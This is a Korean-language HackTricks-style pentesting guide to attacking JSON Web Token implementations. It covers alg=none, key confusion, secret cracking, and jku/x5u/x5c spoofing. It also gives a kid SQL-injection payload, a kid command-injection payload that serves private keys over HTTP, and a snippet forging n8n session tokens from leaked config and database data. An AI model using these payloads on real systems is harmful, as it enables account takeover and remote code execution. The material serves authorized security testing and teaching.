JWT 취약점 (Json Web Tokens)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 게시물의 일부는 훌륭한 게시물을 기반합니다: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs를 pentest하는 훌륭한 도구의 저자 https://github.com/ticarpi/jwt_tool
빠른 성과
모드 All Tests!로 jwt_tool를 실행하고 녹색 줄이 나올 때까지 기다리세요
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
운이 좋다면 도구가 웹 애플리케이션에서 JWT를 잘못 검사하는 경우를 찾아낼 것입니다:
.png)
그다음, proxy에서 해당 요청을 검색하거나 jwt_ tool을 사용해 해당 요청에 사용된 JWT를 덤프할 수 있습니다:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
실전 JWT 평가 워크플로
- 세션 제어 범위 지정: 사용자별 요청(예: 프로필, 청구)을 선택합니다. 요청이 거부될 때까지 쿠키/헤더를 하나씩 제거하여 어떤 토큰이 실제로 권한을 제어하는지 분리하세요.
- 트래픽에서 JWT 찾기: 보통
Authorization: Bearer <JWT>에 위치하지만 커스텀 헤더나 쿠키에도 나타납니다. Burp가 하이라이트하지 않으면 Target → Site map → Engagement tools → Search에서 다음과 같은 정규식 패턴으로 검색하세요: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Burp JWT Editor 또는
python3 jwt_tool.py <JWT>를 사용해 header/payload를 읽으세요.alg,exp/토큰 수명, 그리고 authn/authz를 구동하는 클레임(role,id,username,email등)을 확인하세요. - Signature enforcement sanity check: 서명 부분의 몇 바이트를 뒤집거나 삭제하고 재전송해 보세요. 수락된다면 서명 검증이 누락된 것이므로 payload 클레임을 직접 조작할 수 있습니다.
- Goal: 권한 상승을 위해 payload 클레임을 수정합니다; 아래의 모든 공격은 약한 검증, 약한 시크릿, 또는 안전하지 않은 키 선택을 악용해 서버가 변조된 payload를 수락하게 만드는 것을 목표로 합니다.
서명을 변경하지 않고 데이터 변조
서명을 그대로 둔 채 데이터를 변경하고 서버가 서명을 검사하는지 확인할 수 있습니다. 예를 들어 username을 “admin“으로 바꿔보세요.
토큰이 검사되고 있나?
- 오류 메시지는 서명이 검증되고 있음을 시사합니다; 자세한 오류에 민감한 정보가 포함되어 있는지 검토하세요.
- 반환된 페이지의 변화도 검증이 수행되고 있음을 나타냅니다.
- 변화가 없다면 검증이 없는 것이므로 payload 클레임을 변조해 실험해 보세요.
Origin
프록시의 요청 기록을 검토해 토큰이 서버 측에서 생성되었는지 클라이언트 측에서 생성되었는지 확인하는 것이 중요합니다.
- 처음에 클라이언트 측에서 관찰된 토큰은 키가 클라이언트 코드에 노출되었을 가능성을 시사하므로 추가 조사가 필요합니다.
- 서버 측에서 생성된 토큰은 더 안전한 프로세스를 나타냅니다.
Duration
토큰이 24시간 이상 지속되는지 확인하세요… 어쩌면 만료되지 않을 수도 있습니다. “exp” 필드가 있으면 서버가 이를 올바르게 처리하는지 확인하세요.
Brute-force HMAC secret
If the header uses HS256, dump the token to a file and try offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Once the secret is recovered, load it as a symmetric key in Burp JWT Editor and re-sign modified claims.
Derive JWT secrets from leaked config + DB data
임의 파일 읽기(또는 backup leak)로 application encryption material과 user records가 모두 노출되면, 평문 비밀번호를 알지 못해도 JWT signing secret을 재생성하고 세션 쿠키를 위조할 수 있습니다. 워크플로우 자동화 스택에서 관찰된 예시 패턴:
- config 파일에서 앱 키(예:
encryptionKey)를 Leak합니다. - 사용자 테이블을 Leak하여
email,password_hash,user_id를 획득합니다. - 키에서 signing secret을 도출한 다음, JWT payload에 예상되는 사용자별 해시를 도출합니다:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- 서명된 토큰을 세션 쿠키(예:
n8n-auth)에 넣어 비밀번호 해시가 솔트되어 있어도 사용자/관리자 계정을 가장합니다.
Modify the algorithm to None
사용되는 알고리즘을 “None“으로 설정하고 서명 부분을 제거합니다.
Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.
헤더 내부의 새로운 공개 키
공격자는 토큰의 헤더에 새 키를 삽입하고 서버가 이 새 키를 사용해 서명을 검증할 수 있습니다 (CVE-2018-0114).
This can be done with the “JSON Web Tokens” Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select “CVE-2018-0114” and send the request).
JWKS 스푸핑
이 지침은 특히 “jku” 헤더 클레임을 사용하는 JWT 토큰의 보안을 평가하는 방법을 설명합니다. 이 클레임은 토큰 검증에 필요한 공개 키를 포함한 JWKS (JSON Web Key Set) 파일을 가리켜야 합니다.
-
Assessing Tokens with “jku” Header:
-
“jku” 클레임의 URL이 적절한 JWKS 파일을 가리키는지 확인하십시오.
-
토큰의 “jku” 값을 제어 가능한 웹 서비스로 변경하여 트래픽을 관찰할 수 있게 하십시오.
-
Monitoring for HTTP Interaction:
-
지정한 URL로의 HTTP 요청을 관찰하면 서버가 제공된 링크에서 키를 가져오려 시도하고 있음을 나타냅니다.
-
이 과정을 위해
jwt_tool을 사용할 때는 테스트를 원활히 하기 위해jwtconf.ini파일에 개인 JWKS 위치를 업데이트하는 것이 중요합니다. -
Command for
jwt_tool: -
Execute the following command to simulate the scenario with
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid 문제 개요
선택적 헤더 클레임인 kid는 특정 키를 식별하는 데 사용되며, 여러 키가 존재하는 환경에서 토큰 서명 검증을 위해 적절한 키를 선택하는 데 특히 중요합니다.
kid를 통한 키 노출
헤더에 kid 클레임이 있는 경우 해당 파일이나 변형을 웹 디렉터리에서 검색하는 것이 권장됩니다. 예를 들어 "kid":"key/12345"가 지정된 경우 웹 루트에서 /key/12345 및 /key/12345.pem 파일을 찾아보십시오.
Path Traversal with “kid”
kid 클레임은 파일 시스템을 탐색하도록 악용되어 임의의 파일을 선택할 수 있게 할 수도 있습니다. kid 값을 변경하여 특정 파일이나 서비스를 대상으로 함으로써 연결성을 테스트하거나 Server-Side Request Forgery (SSRF) 공격을 시도할 수 있습니다. JWT의 서명을 유지한 채 kid 값을 변경하려면 jwt_tool의 -T 플래그를 사용하면 됩니다.
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
예측 가능한 내용이 들어있는 파일을 목표로 하면 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 /proc/sys/kernel/randomize_va_space 파일은 값이 2로 알려져 있으며, kid 파라미터에 이 파일을 지정하고 2를 대칭 비밀번호로 사용해 JWT를 생성할 수 있습니다.
취약한 파일시스템 키 로딩의 실무적 패턴으로는 JWK k를 AA==로 설정한 HS256 키를 생성하고, kid를 ../../../../../../../dev/null 같은 traversal로 설정한 뒤 재서명하는 방식이 있습니다—일부 구현체는 빈 파일을 유효한 HMAC 시크릿으로 간주하여 위조된 토큰을 수락합니다.
SQL Injection via “kid”
만약 kid 클레임의 내용으로부터 데이터베이스에서 비밀번호를 가져오는 경우, kid 페이로드를 변조해 SQL injection을 유발할 수 있습니다. JWT 서명 과정을 변경하기 위해 SQL injection을 사용하는 예시 페이로드는 다음과 같습니다:
non-existent-index' UNION SELECT 'ATTACKER';-- -
이 변경은 JWT 서명을 위해 알려진 시크릿 키 ATTACKER의 사용을 강제합니다.
OS Injection through “kid”
kid 파라미터가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 시나리오에서는 Remote Code Execution (RCE) 취약점이 발생할 수 있습니다. kid 파라미터에 명령을 주입하면 개인 키를 노출시킬 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku는 JWK Set URL의 약자입니다.
토큰이 “jku” Header 클레임을 사용한다면 제공된 URL을 확인해야 합니다. 이 URL은 토큰 검증에 사용되는 공개키를 담고 있는 JWKS 파일을 가리켜야 합니다. 토큰을 변조해 jku 값을 당신이 트래픽을 모니터링할 수 있는 웹 서비스로 지정하세요.
먼저 새 개인 및 공개 키로 새 인증서를 생성해야 합니다.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
그런 다음 예를 들어 jwt.io를 사용하여 생성한 공개 및 개인 키를 사용하고 jku 파라미터를 생성한 인증서로 지정하여 새 JWT를 만들 수 있습니다. 유효한 jku 인증서를 만들려면 원본 인증서를 다운로드한 후 필요한 매개변수를 변경하면 됩니다.
공개 인증서에서 “e“와 “n” 매개변수를 얻으려면 다음을 사용하세요:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
검증자가 키를 원격으로 가져오는 경우, jku/x5u에 Burp Collaborator URL을 삽입하려면 JWT Editor → Attack → Embed Collaborator payload를 사용하세요. 콜백이 발생하면 SSRF-style 키 조회가 확인됩니다; 그런 다음 해당 URL에 자신이 만든 JWKS/PEM을 호스트하고 개인 키로 재서명하면 서비스가 공격자가 만든 토큰을 검증합니다.
x5u
X.509 URL. PEM 형식으로 인코딩된 X.509(인증서 형식 표준) 공개 인증서 집합을 가리키는 URI입니다. 집합 내 첫 번째 인증서는 이 JWT에 서명하는 데 사용된 인증서여야 합니다. 이후의 인증서들은 각각 이전 인증서에 서명하여 인증서 체인을 완성합니다. X.509는 RFC 52807에 정의되어 있습니다. 인증서를 전송하려면 전송 보안이 필요합니다.
이 헤더를 자신이 제어하는 URL로 변경해 보고 요청이 수신되는지 확인하세요. 그런 경우 JWT를 변조할 수 있습니다.
자신이 제어하는 인증서를 사용해 새 토큰을 위조하려면, 인증서를 생성하고 공개 키와 개인 키를 추출해야 합니다:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
그런 다음 예를 들어 jwt.io를 사용해 새 JWT를 생성할 수 있으며, 생성한 공개 키와 개인 키로 JWT를 만들고 파라미터 x5u를 생성한 certificate .crt로 지정할 수 있습니다.
.png)
또한 이 두 vulns는 SSRFs에도 악용할 수 있습니다.
x5c
이 파라미터는 base64로 인코딩된 인증서를 포함할 수 있습니다:
.png)
공격자가 self-signed 인증서를 생성하고 해당 개인 키로 위조 토큰을 만든 다음 “x5c” 파라미터 값을 새로 생성한 인증서로 교체하고 n, e 및 x5t 같은 다른 파라미터들을 수정하면, 결국 그 위조 토큰은 서버에서 수락됩니다.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
임베디드 공개 키 (CVE-2018-0114)
JWT가 다음과 같은 경우처럼 공개 키를 내장하고 있다면:
.png)
다음 nodejs 스크립트를 사용하면 해당 데이터로부터 공개 키를 생성할 수 있습니다:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
새로운 private/public key를 생성하여, 새 public key를 token 안에 삽입하고 이를 사용해 새 signature를 생성할 수 있습니다:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
다음 nodejs 스크립트를 사용하여 “n“과 “e“를 얻을 수 있습니다:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
마지막으로, public and private key와 새로운 “n” 및 “e” 값을 사용하면 jwt.io를 이용해 원하는 정보로 새 유효한 JWT를 위조할 수 있습니다.
ES256: 같은 nonce를 사용하면 private key를 복원할 수 있음
일부 애플리케이션이 ES256을 사용하고 동일한 nonce로 두 개의 JWT를 생성하면 private key를 복원할 수 있습니다.
예: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
JTI (JWT ID) 클레임은 JWT Token에 대한 고유 식별자를 제공합니다. 이는 토큰이 재생(replayed)되는 것을 방지하는 데 사용할 수 있습니다.
그러나 ID의 최대 길이가 4(0001-9999)인 상황을 가정해보세요. 요청 0001과 10001은 동일한 ID를 사용하게 됩니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우, 이를 악용해 replay a request할 수 있습니다(성공적인 재사용 사이에 10000개의 요청을 보내야 함).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 경우가 관찰됩니다. 한 JWT 서비스에서 특정 클라이언트용으로 생성된 토큰이 동일한 JWT 서비스의 다른 클라이언트에 의해 수락된 사례도 기록되어 있습니다. 서드파티 서비스를 통해 JWT 발급 또는 갱신이 관찰된다면, 동일한 username/email로 해당 서비스의 다른 클라이언트에 계정을 가입해 보는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 타깃에 대한 요청에 재사용(replay)하여 수락되는지 확인해 보아야 합니다.
- 토큰이 수락된다면 심각한 문제가 있을 수 있으며, 이는 임의 사용자의 계정 스푸핑(spoofing)을 허용할 수 있습니다. 다만 타사 애플리케이션에 가입하는 행위는 법적 회색지대에 들어갈 수 있으므로, 더 광범위한 테스트를 진행하려면 허가가 필요할 수 있습니다.
Expiry Check of Tokens
토큰의 만료는 “exp” Payload 클레임을 사용해 검사합니다. JWT는 종종 세션 정보 없이 사용되므로 주의 깊은 처리가 필요합니다. 많은 경우 다른 사용자의 JWT를 캡처하여 재사용(replay)하면 해당 사용자로 가장할 수 있습니다. JWT RFC는 토큰 재생 공격을 완화하기 위해 “exp” 클레임을 사용해 토큰의 만료 시간을 설정할 것을 권장합니다. 또한 애플리케이션이 이 값을 처리하고 만료된 토큰을 거부하도록 관련 검사를 구현하는 것이 중요합니다. 토큰에 “exp” 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장한 뒤 만료 시간이 지난 후 재생해 보는 것이 권장됩니다. 토큰의 내용(타임스탬프 파싱 및 만료 검사, 타임스탬프는 UTC 기준 포함)은 jwt_tool의 -R 플래그로 읽을 수 있습니다.
- 애플리케이션이 여전히 토큰을 검증한다면 보안 위험이 있을 수 있으며, 이는 토큰이 결코 만료되지 않을 수도 있음을 시사할 수 있습니다.
Tools
- jwt_tool – 디코딩, claim/header 변조, 오프라인 secret 크래킹 (
-C) 및 반자동 공격 모드 (-M at). - Burp JWT Editor – Repeater에서 decode/re-sign, 커스텀 키 생성, 내장 공격 실행(none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– JWT를 워드리스트로 내보낸 후 GPU 가속 HS256 secret 크래킹.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


